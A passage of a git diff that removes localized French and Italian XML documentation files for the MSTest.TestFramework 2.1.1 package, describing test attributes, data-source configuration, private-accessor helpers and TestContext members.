résultat. Utile pour retourner plusieurs résultats. - En cas de valeur null, le nom de la méthode est utilisé en tant que DisplayName. - - - - - Obtient ou définit le résultat de l'exécution du test. - - - - - Obtient ou définit l'exception levée en cas d'échec du test. - - - - - Obtient ou définit la sortie du message journalisé par le code de test. - - - - - Obtient ou définit la sortie du message journalisé par le code de test. - - - - - Obtient ou définit les traces de débogage du code de test. - - - - - Gets or sets the debug traces by test code. - - - - - Obtient ou définit la durée de l'exécution du test. - - - - - Obtient ou définit l'index de ligne de données dans la source de données. Défini uniquement pour les résultats de - l'exécution individuelle de la ligne de données d'un test piloté par les données. - - - - - Obtient ou définit la valeur renvoyée de la méthode de test. (Toujours null). - - - - - Obtient ou définit les fichiers de résultats attachés par le test. - - - - - Spécifie la chaîne de connexion, le nom de la table et la méthode d'accès aux lignes pour les tests pilotés par les données. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nom du fournisseur par défaut de DataSource. - - - - - Méthode d'accès aux données par défaut. - - - - - Initialise une nouvelle instance de la classe . Cette instance va être initialisée avec un fournisseur de données, une chaîne de connexion, une table de données et une méthode d'accès aux données pour accéder à la source de données. - - Nom du fournisseur de données invariant, par exemple System.Data.SqlClient - - Chaîne de connexion spécifique au fournisseur de données. - AVERTISSEMENT : La chaîne de connexion peut contenir des données sensibles (par exemple, un mot de passe). - La chaîne de connexion est stockée en texte brut dans le code source et dans l'assembly compilé. - Restreignez l'accès au code source et à l'assembly pour protéger ces informations sensibles. - - Nom de la table de données. - Spécifie l'ordre d'accès aux données. - - - - Initialise une nouvelle instance de la classe . Cette instance va être initialisée avec une chaîne de connexion et un nom de table. - Spécifiez la chaîne de connexion et la table de données permettant d'accéder à la source de données OLEDB. - - - Chaîne de connexion spécifique au fournisseur de données. - AVERTISSEMENT : La chaîne de connexion peut contenir des données sensibles (par exemple, un mot de passe). - La chaîne de connexion est stockée en texte brut dans le code source et dans l'assembly compilé. - Restreignez l'accès au code source et à l'assembly pour protéger ces informations sensibles. - - Nom de la table de données. - - - - Initialise une nouvelle instance de la classe . Cette instance va être initialisée avec un fournisseur de données et une chaîne de connexion associés au nom du paramètre. - - Nom d'une source de données trouvée dans la section <microsoft.visualstudio.qualitytools> du fichier app.config. - - - - Obtient une valeur représentant le fournisseur de données de la source de données. - - - Nom du fournisseur de données. Si aucun fournisseur de données n'a été désigné au moment de l'initialisation de l'objet, le fournisseur par défaut de System.Data.OleDb est retourné. - - - - - Obtient une valeur représentant la chaîne de connexion de la source de données. - - - - - Obtient une valeur indiquant le nom de la table qui fournit les données. - - - - - Obtient la méthode utilisée pour accéder à la source de données. - - - - Une des valeurs possibles. Si n'est pas initialisé, ce qui entraîne le retour de la valeur par défaut . - - - - - Obtient le nom d'une source de données trouvée dans la section <microsoft.visualstudio.qualitytools> du fichier app.config. - - - - - Attribut du test piloté par les données, où les données peuvent être spécifiées inline. - - - - - Recherche toutes les lignes de données et les exécute. - - - Méthode de test. - - - Tableau des . - - - - - Exécute la méthode de test piloté par les données. - - Méthode de test à exécuter. - Ligne de données. - Résultats de l'exécution. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/it/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/it/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index d743158b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/it/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Usato per specificare l'elemento di distribuzione (file o directory) per la distribuzione per singolo test. - Può essere specificato in classi o metodi di test. - Può contenere più istanze dell'attributo per specificare più di un elemento. - Il percorso dell'elemento può essere assoluto o relativo; se è relativo, è relativo rispetto a RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - Inizializza una nuova istanza della classe . - - File o directory per la distribuzione. Il percorso è relativo alla directory di output della compilazione. L'elemento verrà copiato nella stessa directory degli assembly di test distribuiti. - - - - Inizializza una nuova istanza della classe - - Percorso relativo o assoluto del file o della directory per la distribuzione. Il percorso è relativo alla directory di output della compilazione. L'elemento verrà copiato nella stessa directory degli assembly di test distribuiti. - Percorso della directory in cui vengono copiati gli elementi. Può essere assoluto o relativo rispetto alla directory di distribuzione. Tutte le directory e tutti i file identificati da verranno copiati in questa directory. - - - - Ottiene il percorso della cartella o del file di origine da copiare. - - - - - Ottiene il percorso della directory in cui viene copiato l'elemento. - - - - - Contiene i valori letterali relativi ai nomi di sezioni, proprietà, attributi. - - - - - Nome della sezione di configurazione. - - - - - Nome della sezione della configurazione per Beta2. Opzione lasciata per garantire la compatibilità. - - - - - Nome della sezione per l'origine dati. - - - - - Nome di attributo per 'Name' - - - - - Nome di attributo per 'ConnectionString' - - - - - Nome di attributo per 'DataAccessMethod' - - - - - Nome di attributo per 'DataTable' - - - - - Elemento dell'origine dati. - - - - - Ottiene o imposta il nome di questa configurazione. - - - - - Ottiene o imposta l'elemento ConnectionStringSettings nella sezione <connectionStrings> del file con estensione config. - - - - - Ottiene o imposta il nome della tabella dati. - - - - - Ottiene o imposta il tipo di accesso ai dati. - - - - - Ottiene il nome della chiave. - - - - - Ottiene le proprietà di configurazione. - - - - - Raccolta di elementi dell'origine dati. - - - - - Inizializza una nuova istanza della classe . - - - - - Restituisce l'elemento di configurazione con la chiave specificata. - - Chiave dell'elemento da restituire. - Elemento System.Configuration.ConfigurationElement con la chiave specificata; in caso contrario, Null. - - - - Ottiene l'elemento di configurazione nella posizione di indice specificata. - - Posizione di indice dell'elemento System.Configuration.ConfigurationElement da restituire. - - - - Aggiunge un elemento di configurazione alla raccolta di elementi di configurazione. - - Elemento System.Configuration.ConfigurationElement da aggiungere. - - - - Rimuove un elemento System.Configuration.ConfigurationElement dalla raccolta. - - Elemento . - - - - Rimuove un elemento System.Configuration.ConfigurationElement dalla raccolta. - - Chiave dell'elemento System.Configuration.ConfigurationElement da rimuovere. - - - - Rimuove tutti gli oggetti degli elementi di configurazione dalla raccolta. - - - - - Crea un nuovo oggetto . - - Nuovo elemento . - - - - Ottiene la chiave dell'elemento per un elemento di configurazione specificato. - - Elemento System.Configuration.ConfigurationElement per cui restituire la chiave. - Elemento System.Object che funge da chiave per l'elemento System.Configuration.ConfigurationElement specificato. - - - - Aggiunge un elemento di configurazione alla raccolta di elementi di configurazione. - - Elemento System.Configuration.ConfigurationElement da aggiungere. - - - - Aggiunge un elemento di configurazione alla raccolta di elementi di configurazione. - - Posizione di indice in cui aggiungere l'elemento System.Configuration.ConfigurationElement specificato. - Elemento System.Configuration.ConfigurationElement da aggiungere. - - - - Supporto per le impostazioni di configurazione per Test. - - - - - Ottiene la sezione della configurazione per i test. - - - - - Sezione della configurazione per i test. - - - - - Ottiene le origini dati per questa sezione della configurazione. - - - - - Ottiene la raccolta di proprietà. - - - delle proprietà per l'elemento. - - - - - Questa classe rappresenta l'oggetto INTERNO attivo NON pubblico nel sistema - - - - - Inizializza una nuova istanza della classe che contiene - l'oggetto già esistente della classe privata - - oggetto che funge da punto di partenza per raggiungere i membri privati - stringa di deferenziazione che usa . e punta all'oggetto da recuperare come in m_X.m_Y.m_Z - - - - Inizializza una nuova istanza della classe che esegue il wrapping del - tipo specificato. - - Nome dell'assembly - nome completo - Argomenti da passare al costruttore - - - - Inizializza una nuova istanza della classe che esegue il wrapping del - tipo specificato. - - Nome dell'assembly - nome completo - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al costruttore da ottenere - Argomenti da passare al costruttore - - - - Inizializza una nuova istanza della classe che esegue il wrapping del - tipo specificato. - - tipo dell'oggetto da creare - Argomenti da passare al costruttore - - - - Inizializza una nuova istanza della classe che esegue il wrapping del - tipo specificato. - - tipo dell'oggetto da creare - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al costruttore da ottenere - Argomenti da passare al costruttore - - - - Inizializza una nuova istanza della classe che esegue il wrapping - dell'oggetto specificato. - - oggetto di cui eseguire il wrapping - - - - Inizializza una nuova istanza della classe che esegue il wrapping - dell'oggetto specificato. - - oggetto di cui eseguire il wrapping - Oggetto PrivateType - - - - Ottiene o imposta la destinazione - - - - - Ottiene il tipo dell'oggetto sottostante - - - - - restituisce il codice hash dell'oggetto di destinazione - - int che rappresenta il codice hash dell'oggetto di destinazione - - - - È uguale a - - Oggetto con cui eseguire il confronto - restituisce true se gli oggetti sono uguali. - - - - Richiama il metodo specificato - - Nome del metodo - Argomenti da passare al membro da richiamare. - Risultato della chiamata al metodo - - - - Richiama il metodo specificato - - Nome del metodo - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da ottenere. - Argomenti da passare al membro da richiamare. - Risultato della chiamata al metodo - - - - Richiama il metodo specificato - - Nome del metodo - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da ottenere. - Argomenti da passare al membro da richiamare. - Matrice di tipi corrispondenti ai tipi degli argomenti generici. - Risultato della chiamata al metodo - - - - Richiama il metodo specificato - - Nome del metodo - Argomenti da passare al membro da richiamare. - Info su impostazioni cultura - Risultato della chiamata al metodo - - - - Richiama il metodo specificato - - Nome del metodo - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da ottenere. - Argomenti da passare al membro da richiamare. - Info su impostazioni cultura - Risultato della chiamata al metodo - - - - Richiama il metodo specificato - - Nome del metodo - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - Argomenti da passare al membro da richiamare. - Risultato della chiamata al metodo - - - - Richiama il metodo specificato - - Nome del metodo - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da ottenere. - Argomenti da passare al membro da richiamare. - Risultato della chiamata al metodo - - - - Richiama il metodo specificato - - Nome del metodo - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - Argomenti da passare al membro da richiamare. - Info su impostazioni cultura - Risultato della chiamata al metodo - - - - Richiama il metodo specificato - - Nome del metodo - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da ottenere. - Argomenti da passare al membro da richiamare. - Info su impostazioni cultura - Risultato della chiamata al metodo - - - - Richiama il metodo specificato - - Nome del metodo - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da ottenere. - Argomenti da passare al membro da richiamare. - Info su impostazioni cultura - Matrice di tipi corrispondenti ai tipi degli argomenti generici. - Risultato della chiamata al metodo - - - - Ottiene l'elemento di matrice usando la matrice di indici per ogni dimensione - - Nome del membro - indici della matrice - Matrice di elementi. - - - - Imposta l'elemento di matrice usando la matrice di indici per ogni dimensione - - Nome del membro - Valore da impostare - indici della matrice - - - - Ottiene l'elemento di matrice usando la matrice di indici per ogni dimensione - - Nome del membro - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - indici della matrice - Matrice di elementi. - - - - Imposta l'elemento di matrice usando la matrice di indici per ogni dimensione - - Nome del membro - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - Valore da impostare - indici della matrice - - - - Ottiene il campo - - Nome del campo - Campo. - - - - Imposta il campo - - Nome del campo - valore da impostare - - - - Ottiene il campo - - Nome del campo - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - Campo. - - - - Imposta il campo - - Nome del campo - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - valore da impostare - - - - Ottiene il campo o la proprietà - - Nome del campo o della proprietà - Campo o proprietà. - - - - Imposta il campo o la proprietà - - Nome del campo o della proprietà - valore da impostare - - - - Ottiene il campo o la proprietà - - Nome del campo o della proprietà - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - Campo o proprietà. - - - - Imposta il campo o la proprietà - - Nome del campo o della proprietà - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - valore da impostare - - - - Ottiene la proprietà - - Nome della proprietà - Argomenti da passare al membro da richiamare. - Proprietà. - - - - Ottiene la proprietà - - Nome della proprietà - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi alla proprietà indicizzata. - Argomenti da passare al membro da richiamare. - Proprietà. - - - - Imposta la proprietà - - Nome della proprietà - valore da impostare - Argomenti da passare al membro da richiamare. - - - - Imposta la proprietà - - Nome della proprietà - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi alla proprietà indicizzata. - valore da impostare - Argomenti da passare al membro da richiamare. - - - - Ottiene la proprietà - - Nome della proprietà - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - Argomenti da passare al membro da richiamare. - Proprietà. - - - - Ottiene la proprietà - - Nome della proprietà - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi alla proprietà indicizzata. - Argomenti da passare al membro da richiamare. - Proprietà. - - - - Imposta la proprietà - - Nome della proprietà - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - valore da impostare - Argomenti da passare al membro da richiamare. - - - - Imposta la proprietà - - Nome della proprietà - Maschera di bit costituita da uno o più che specificano in che modo viene eseguita la ricerca. - valore da impostare - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi alla proprietà indicizzata. - Argomenti da passare al membro da richiamare. - - - - Convalida la stringa di accesso - - stringa di accesso - - - - Richiama il membro - - Nome del membro - Attributi aggiuntivi - Argomenti della chiamata - Impostazioni cultura - Risultato della chiamata - - - - Estrae la firma del metodo generico più appropriata dal tipo privato corrente. - - Nome del metodo in cui cercare la cache delle firme. - Matrice di tipi corrispondenti ai tipi dei parametri in cui eseguire la ricerca. - Matrice di tipi corrispondenti ai tipi degli argomenti generici. - per filtrare ulteriormente le firme del metodo. - Modificatori per i parametri. - Istanza di MethodInfo. - - - - Questa classe rappresenta una classe privata per la funzionalità della funzione di accesso privata. - - - - - Esegue il binding a tutto - - - - - Tipo di cui è stato eseguito il wrapping. - - - - - Inizializza una nuova istanza della classe che contiene il tipo privato. - - Nome dell'assembly - nome completo del - - - - Inizializza una nuova istanza della classe che contiene - il tipo privato dell'oggetto tipo - - Oggetto Type con wrapping da creare. - - - - Ottiene il tipo di riferimento - - - - - Richiama il membro statico - - Nome del membro per InvokeHelper - Argomenti della chiamata - Risultato della chiamata - - - - Richiama il membro statico - - Nome del membro per InvokeHelper - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da richiamare - Argomenti della chiamata - Risultato della chiamata - - - - Richiama il membro statico - - Nome del membro per InvokeHelper - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da richiamare - Argomenti della chiamata - Matrice di tipi corrispondenti ai tipi degli argomenti generici. - Risultato della chiamata - - - - Richiama il metodo statico - - Nome del membro - Argomenti della chiamata - Impostazioni cultura - Risultato della chiamata - - - - Richiama il metodo statico - - Nome del membro - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da richiamare - Argomenti della chiamata - Info su impostazioni cultura - Risultato della chiamata - - - - Richiama il metodo statico - - Nome del membro - Attributi di chiamata aggiuntivi - Argomenti della chiamata - Risultato della chiamata - - - - Richiama il metodo statico - - Nome del membro - Attributi di chiamata aggiuntivi - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da richiamare - Argomenti della chiamata - Risultato della chiamata - - - - Richiama il metodo statico - - Nome del membro - Attributi di chiamata aggiuntivi - Argomenti della chiamata - Impostazioni cultura - Risultato della chiamata - - - - Richiama il metodo statico - - Nome del membro - Attributi di chiamata aggiuntivi - /// Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da richiamare - Argomenti della chiamata - Impostazioni cultura - Risultato della chiamata - - - - Richiama il metodo statico - - Nome del membro - Attributi di chiamata aggiuntivi - /// Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi al metodo da richiamare - Argomenti della chiamata - Impostazioni cultura - Matrice di tipi corrispondenti ai tipi degli argomenti generici. - Risultato della chiamata - - - - Ottiene l'elemento nella matrice statica - - Nome della matrice - - Matrice unidimensionale di valori interi a 32 bit che rappresentano gli indici che specificano - la posizione dell'elemento da ottenere. Ad esempio, per accedere a a[10][11], gli indici sono {10,11} - - elemento alla posizione specificata - - - - Imposta il membro della matrice statica - - Nome della matrice - valore da impostare - - Matrice unidimensionale di valori interi a 32 bit che rappresentano gli indici che specificano - la posizione dell'elemento da impostare. Ad esempio, per accedere a a[10][11], la matrice è {10,11} - - - - - Ottiene l'elemento nella matrice statica - - Nome della matrice - Attributi di InvokeHelper aggiuntivi - - Matrice unidimensionale di valori interi a 32 bit che rappresentano gli indici che specificano - la posizione dell'elemento da ottenere. Ad esempio, per accedere a a[10][11], la matrice è {10,11} - - elemento alla posizione specificata - - - - Imposta il membro della matrice statica - - Nome della matrice - Attributi di InvokeHelper aggiuntivi - valore da impostare - - Matrice unidimensionale di valori interi a 32 bit che rappresentano gli indici che specificano - la posizione dell'elemento da impostare. Ad esempio, per accedere a a[10][11], la matrice è {10,11} - - - - - Ottiene il campo statico - - Nome del campo - Campo statico. - - - - Imposta il campo statico - - Nome del campo - Argomento della chiamata - - - - Ottiene il campo statico usando gli attributi specificati di InvokeHelper - - Nome del campo - Attributi di chiamata aggiuntivi - Campo statico. - - - - Imposta il campo statico usando gli attributi di binding - - Nome del campo - Attributi di InvokeHelper aggiuntivi - Argomento della chiamata - - - - Ottiene la proprietà o il campo statico - - Nome del campo o della proprietà - Campo o proprietà statica. - - - - Imposta la proprietà o il campo statico - - Nome del campo o della proprietà - Valore da impostare sul campo o sulla proprietà - - - - Ottiene la proprietà o il campo statico usando gli attributi specificati di InvokeHelper - - Nome del campo o della proprietà - Attributi di chiamata aggiuntivi - Campo o proprietà statica. - - - - Imposta la proprietà o il campo statico usando gli attributi di binding - - Nome del campo o della proprietà - Attributi di chiamata aggiuntivi - Valore da impostare sul campo o sulla proprietà - - - - Ottiene la proprietà statica - - Nome del campo o della proprietà - Argomenti della chiamata - Proprietà statica. - - - - Imposta la proprietà statica - - Nome della proprietà - Valore da impostare sul campo o sulla proprietà - Argomenti da passare al membro da richiamare. - - - - Imposta la proprietà statica - - Nome della proprietà - Valore da impostare sul campo o sulla proprietà - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi alla proprietà indicizzata. - Argomenti da passare al membro da richiamare. - - - - Ottiene la proprietà statica - - Nome della proprietà - Attributi di chiamata aggiuntivi. - Argomenti da passare al membro da richiamare. - Proprietà statica. - - - - Ottiene la proprietà statica - - Nome della proprietà - Attributi di chiamata aggiuntivi. - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi alla proprietà indicizzata. - Argomenti da passare al membro da richiamare. - Proprietà statica. - - - - Imposta la proprietà statica - - Nome della proprietà - Attributi di chiamata aggiuntivi. - Valore da impostare sul campo o sulla proprietà - Valori di indice facoltativi per le proprietà indicizzate. Gli indici delle proprietà indicizzate sono in base zero. Questo valore deve essere Null per le proprietà non indicizzate. - - - - Imposta la proprietà statica - - Nome della proprietà - Attributi di chiamata aggiuntivi. - Valore da impostare sul campo o sulla proprietà - Matrice di oggetti che rappresentano numero, ordine e tipo dei parametri relativi alla proprietà indicizzata. - Argomenti da passare al membro da richiamare. - - - - Richiama il metodo statico - - Nome del membro - Attributi di chiamata aggiuntivi - Argomenti della chiamata - Impostazioni cultura - Risultato della chiamata - - - - Fornisce l'individuazione della firma del metodo per i metodi generici. - - - - - Confronta le firme di questi due metodi. - - Method1 - Method2 - True se sono simili. - - - - Ottiene la profondità della gerarchia dal tipo di base del tipo fornito. - - Tipo. - Profondità. - - - - Trova il tipo più derivato con le informazioni fornite. - - Corrispondenze possibili. - Numero di corrispondenze. - Metodo più derivato. - - - - Dato un set di metodi corrispondenti ai criteri di base, seleziona un metodo - basato su una matrice di tipi. Questo metodo deve restituire Null se nessun - metodo corrisponde ai criteri. - - Specifica del binding. - Corrispondenze possibili - Tipi - Modificatori di parametro. - Metodo corrispondente. È Null se non ci sono metodi corrispondenti. - - - - Trova il metodo più specifico tra i due metodi forniti. - - Metodo 1 - Ordine dei parametri per il metodo 1 - Tipo della matrice di parametri. - Metodo 2 - Ordine dei parametri per il metodo 2 - >Tipo della matrice di parametri. - Tipi in cui eseguire la ricerca. - Argomenti. - Tipo int che rappresenta la corrispondenza. - - - - Trova il metodo più specifico tra i due metodi forniti. - - Metodo 1 - Ordine dei parametri per il metodo 1 - Tipo della matrice di parametri. - Metodo 2 - Ordine dei parametri per il metodo 2 - >Tipo della matrice di parametri. - Tipi in cui eseguire la ricerca. - Argomenti. - Tipo int che rappresenta la corrispondenza. - - - - Trova il tipo più specifico tra i due tipi forniti. - - Tipo 1 - Tipo 2 - Tipo per la definizione - Tipo int che rappresenta la corrispondenza. - - - - Usata per archiviare le informazioni fornite agli unit test. - - - - - Ottiene le proprietà di un test. - - - - - Ottiene la riga di dati corrente quando il test viene usato per test basati sui dati. - - - - - Ottiene la riga di connessione dati corrente quando il test viene usato per test basati sui dati. - - - - - Ottiene la directory di base per l'esecuzione dei test, in cui vengono archiviati i file distribuiti e i file di risultati. - - - - - Ottiene la directory per i file distribuiti per l'esecuzione dei test. È in genere una sottodirectory di . - - - - - Ottiene la directory di base per i risultati dell'esecuzione dei test. È in genere una sottodirectory di . - - - - - Ottiene la directory per i file di risultati dell'esecuzione dei test. È in genere una sottodirectory di . - - - - - Ottiene la directory per i file di risultati del test. - - - - - Ottiene la directory di base per l'esecuzione dei test, in cui vengono archiviati i file distribuiti e i file di risultati. - Uguale a . In alternativa, usare tale proprietà. - - - - - Ottiene la directory per i file distribuiti per l'esecuzione dei test. È in genere una sottodirectory di . - Uguale a . In alternativa, usare tale proprietà. - - - - - Ottiene la directory per i file di risultati dell'esecuzione dei test. È in genere una sottodirectory di . - Uguale a . In alternativa, usare tale proprietà per i file di risultati dell'esecuzione dei test oppure - per file di risultati specifici del test. - - - - - Ottiene il nome completo della classe contenente il metodo di test attualmente in esecuzione - - - - - Ottiene il nome del metodo di test attualmente in esecuzione - - - - - Ottiene il risultato del test corrente. - - - - - Usato per scrivere messaggi di traccia durante l'esecuzione del test - - stringa del messaggio formattato - - - - Usato per scrivere messaggi di traccia durante l'esecuzione del test - - stringa di formato - argomenti - - - - Aggiunge un nome file all'elenco in TestResult.ResultFileNames - - - Nome file. - - - - - Avvia un timer con il nome specificato - - Nome del timer. - - - - Termina un timer con il nome specificato - - Nome del timer. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/it/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/it/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index d3540c8e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/it/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Metodo di test per l'esecuzione. - - - - - Ottiene il nome del metodo di test. - - - - - Ottiene il nome della classe di test. - - - - - Ottiene il tipo restituito del metodo di test. - - - - - Ottiene i parametri del metodo di test. - - - - - Ottiene l'oggetto methodInfo per il metodo di test. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Richiama il metodo di test. - - - Argomenti da passare al metodo di test, ad esempio per test basati sui dati - - - Risultato della chiamata del metodo di test. - - - This call handles asynchronous test methods as well. - - - - - Ottiene tutti gli attributi del metodo di test. - - - Indica se l'attributo definito nella classe padre è valido. - - - Tutti gli attributi. - - - - - Ottiene l'attributo di tipo specifico. - - System.Attribute type. - - Indica se l'attributo definito nella classe padre è valido. - - - Attributi del tipo specificato. - - - - - Helper. - - - - - Parametro check non Null. - - - Parametro. - - - Nome del parametro. - - - Messaggio. - - Throws argument null exception when parameter is null. - - - - Parametro check non Null o vuoto. - - - Parametro. - - - Nome del parametro. - - - Messaggio. - - Throws ArgumentException when parameter is null. - - - - Enumerazione relativa alla modalità di accesso alle righe di dati nei test basati sui dati. - - - - - Le righe vengono restituite in ordine sequenziale. - - - - - Le righe vengono restituite in ordine casuale. - - - - - Attributo per definire i dati inline per un metodo di test. - - - - - Inizializza una nuova istanza della classe . - - Oggetto dati. - - - - Inizializza una nuova istanza della classe che accetta una matrice di argomenti. - - Oggetto dati. - Altri dati. - - - - Ottiene i dati per chiamare il metodo di test. - - - - - Ottiene o imposta il nome visualizzato nei risultati del test per la personalizzazione. - - - - - Eccezione senza risultati dell'asserzione. - - - - - Inizializza una nuova istanza della classe . - - Messaggio. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio. - - - - Inizializza una nuova istanza della classe . - - - - - Classe InternalTestFailureException. Usata per indicare un errore interno per un test case - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inizializza una nuova istanza della classe . - - Messaggio dell'eccezione. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio dell'eccezione. - - - - Inizializza una nuova istanza della classe . - - - - - Attributo che specifica di presupporre un'eccezione del tipo specificato - - - - - Inizializza una nuova istanza della classe con il tipo previsto - - Tipo dell'eccezione prevista - - - - Inizializza una nuova istanza della classe con - il tipo previsto e il messaggio da includere quando il test non genera alcuna eccezione. - - Tipo dell'eccezione prevista - - Messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Ottiene un valore che indica il tipo dell'eccezione prevista - - - - - Ottiene o imposta un valore che indica se consentire a tipi derivati dal tipo dell'eccezione prevista - di qualificarsi come previsto - - - - - Ottiene il messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Verifica che il tipo dell'eccezione generata dallo unit test sia prevista - - Eccezione generata dallo unit test - - - - Classe di base per attributi che specificano se prevedere che uno unit test restituisca un'eccezione - - - - - Inizializza una nuova istanza della classe con un messaggio per indicare nessuna eccezione - - - - - Inizializza una nuova istanza della classe con un messaggio che indica nessuna eccezione - - - Messaggio da includere nel risultato del test se il test non riesce perché non - viene generata un'eccezione - - - - - Ottiene il messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Ottiene il messaggio da includere nel risultato del test se il test non riesce perché non viene generata un'eccezione - - - - - Ottiene il messaggio predefinito per indicare nessuna eccezione - - Nome del tipo di attributo di ExpectedException - Messaggio predefinito per indicare nessuna eccezione - - - - Determina se l'eccezione è prevista. Se il metodo viene completato, si - presuppone che l'eccezione era prevista. Se il metodo genera un'eccezione, si - presuppone che l'eccezione non era prevista e il messaggio dell'eccezione generata - viene incluso nel risultato del test. Si può usare la classe per - comodità. Se si usa e l'asserzione non riesce, - il risultato del test viene impostato su Senza risultati. - - Eccezione generata dallo unit test - - - - Genera di nuovo l'eccezione se si tratta di un'eccezione AssertFailedException o AssertInconclusiveException - - Eccezione da generare di nuovo se si tratta di un'eccezione di asserzione - - - - Questa classe consente all'utente di eseguire testing unità per tipi che usano tipi generici. - GenericParameterHelper soddisfa alcuni dei vincoli di tipo generici più comuni, - ad esempio: - 1. costruttore predefinito pubblico - 2. implementa l'interfaccia comune: IComparable, IEnumerable - - - - - Inizializza una nuova istanza della classe che - soddisfa il vincolo 'newable' nei generics C#. - - - This constructor initializes the Data property to a random value. - - - - - Inizializza una nuova istanza della classe che - inizializza la proprietà Data con un valore fornito dall'utente. - - Qualsiasi valore Integer - - - - Ottiene o imposta i dati - - - - - Esegue il confronto dei valori di due oggetti GenericParameterHelper - - oggetto con cui eseguire il confronto - true se il valore di obj è uguale a quello dell'oggetto GenericParameterHelper 'this'; - in caso contrario, false. - - - - Restituisce un codice hash per questo oggetto. - - Codice hash. - - - - Confronta i dati dei due oggetti . - - Oggetto con cui eseguire il confronto. - - Numero con segno che indica i valori relativi di questa istanza e di questo valore. - - - Thrown when the object passed in is not an instance of . - - - - - Restituisce un oggetto IEnumerator la cui lunghezza viene derivata dalla - proprietà Data. - - L'oggetto IEnumerator - - - - Restituisce un oggetto GenericParameterHelper uguale a - quello corrente. - - Oggetto clonato. - - - - Consente agli utenti di registrare/scrivere tracce degli unit test per la diagnostica. - - - - - Gestore per LogMessage. - - Messaggio da registrare. - - - - Evento di cui rimanere in ascolto. Generato quando il writer di unit test scrive alcuni messaggi. - Utilizzato principalmente dall'adattatore. - - - - - API del writer di test da chiamare per registrare i messaggi. - - Formato stringa con segnaposto. - Parametri per segnaposto. - - - - Attributo TestCategory; usato per specificare la categoria di uno unit test. - - - - - Inizializza una nuova istanza della classe e applica la categoria al test. - - - Categoria di test. - - - - - Ottiene le categorie di test applicate al test. - - - - - Classe di base per l'attributo "Category" - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple 